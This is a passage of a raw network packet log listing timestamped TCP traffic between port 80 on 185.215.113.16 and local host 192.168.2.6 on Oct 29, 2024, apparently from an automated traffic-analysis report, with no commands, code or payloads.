Oct 29, 2024 20:44:57.665961027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665976048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.665991068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666004896 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666012049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.666021109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666035891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666047096 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.666050911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666068077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666085005 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.666107893 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.666569948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666585922 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666599989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666615963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666630030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666645050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666647911 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.666660070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666675091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666681051 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.666692972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.666721106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.667187929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667203903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667226076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667243004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667259932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667259932 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.667275906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667289019 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.667293072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667301893 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.667321920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667326927 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.667336941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667351961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667366982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667380095 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.667381048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.667402029 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668006897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668024063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668039083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668059111 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668086052 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668142080 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668253899 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668268919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668292046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668308020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668319941 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668324947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668334007 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668340921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668354988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668359995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668370008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668385029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668401003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668412924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668416023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668431997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.668435097 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.668446064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669202089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669218063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669234037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669250011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669266939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669282913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669289112 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669298887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669313908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669327021 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669329882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669338942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669344902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669364929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669894934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669910908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669924974 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669939995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669940948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669955969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669965982 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.669971943 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669986963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.669987917 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.670006037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.670021057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.670034885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.670037031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.670053005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.670064926 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.670068979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.670084953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.670094013 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.670118093 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.671149969 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.690684080 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.690733910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.690752029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.690831900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.719476938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.719520092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.719537020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.719620943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.732076883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.732120037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.732136965 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.732188940 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.732223988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.732240915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.732296944 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.762685061 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762725115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762743950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762820959 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.762912035 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762928009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762943983 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762968063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.762984037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.763001919 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.763017893 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.763202906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.765232086 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.780857086 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.780890942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.780925035 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.780941963 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.780958891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.780973911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.780992031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781006098 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781044006 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781076908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781196117 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781212091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781228065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781245947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781258106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781263113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781276941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781291962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781318903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781537056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781553984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781569958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781586885 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781600952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781604052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781620979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781626940 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781636953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781653881 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.781665087 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.781686068 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782211065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782228947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782243967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782258987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782274008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782289982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782294035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782308102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782320023 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782325029 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782330990 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782341003 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782370090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782510996 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782526970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782542944 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782557964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782573938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782589912 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782592058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782608986 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782614946 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.782624960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.782650948 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783051014 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783066988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783083916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783099890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783113003 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783114910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783137083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783150911 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783153057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783169031 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783174992 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783184052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783188105 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783200026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783224106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783409119 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783425093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783441067 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783466101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783482075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783484936 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783526897 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783662081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783678055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783691883 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783709049 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783715963 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783725023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.783741951 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.783895016 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784020901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784035921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784051895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784068108 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784068108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784084082 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784085035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784100056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784113884 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784115076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784142971 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784334898 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784349918 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784365892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784410954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784446001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784461975 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784472942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784477949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784492970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784502029 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784508944 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784526110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784532070 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784540892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784557104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784570932 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784580946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784593105 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.784598112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.784641981 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785161018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785176992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785191059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785207987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785223007 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785238981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785248041 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785254002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785269976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785279989 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785290956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785314083 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785516024 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785661936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785677910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785693884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785713911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785720110 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785737991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785743952 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785751104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785768032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785784006 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785784960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785800934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785816908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785816908 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785832882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.785844088 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.785866976 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.786149979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.786166906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.786181927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.786196947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.786215067 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.786227942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.786242962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.786829948 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.807424068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.807482004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.807497978 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.807519913 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.807564974 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.838283062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.838363886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.838376999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.838418961 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.849680901 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.849739075 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.849752903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.849769115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.849868059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.849880934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.849893093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.849910975 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.849951982 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.879153967 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879205942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879225969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879271984 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.879290104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879304886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879323959 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.879334927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879348040 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.879411936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879504919 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879519939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879534006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879564047 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.879576921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.879792929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879806995 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.879841089 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897447109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897475958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897492886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897499084 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897547007 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897556067 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897620916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897671938 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897675991 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897691011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897706032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897731066 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897845984 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897861958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897877932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897910118 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897927046 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:57.897984982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.897998095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898019075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:57.898041010 CET	62422	80	192.168.2.6	185.215.113.16
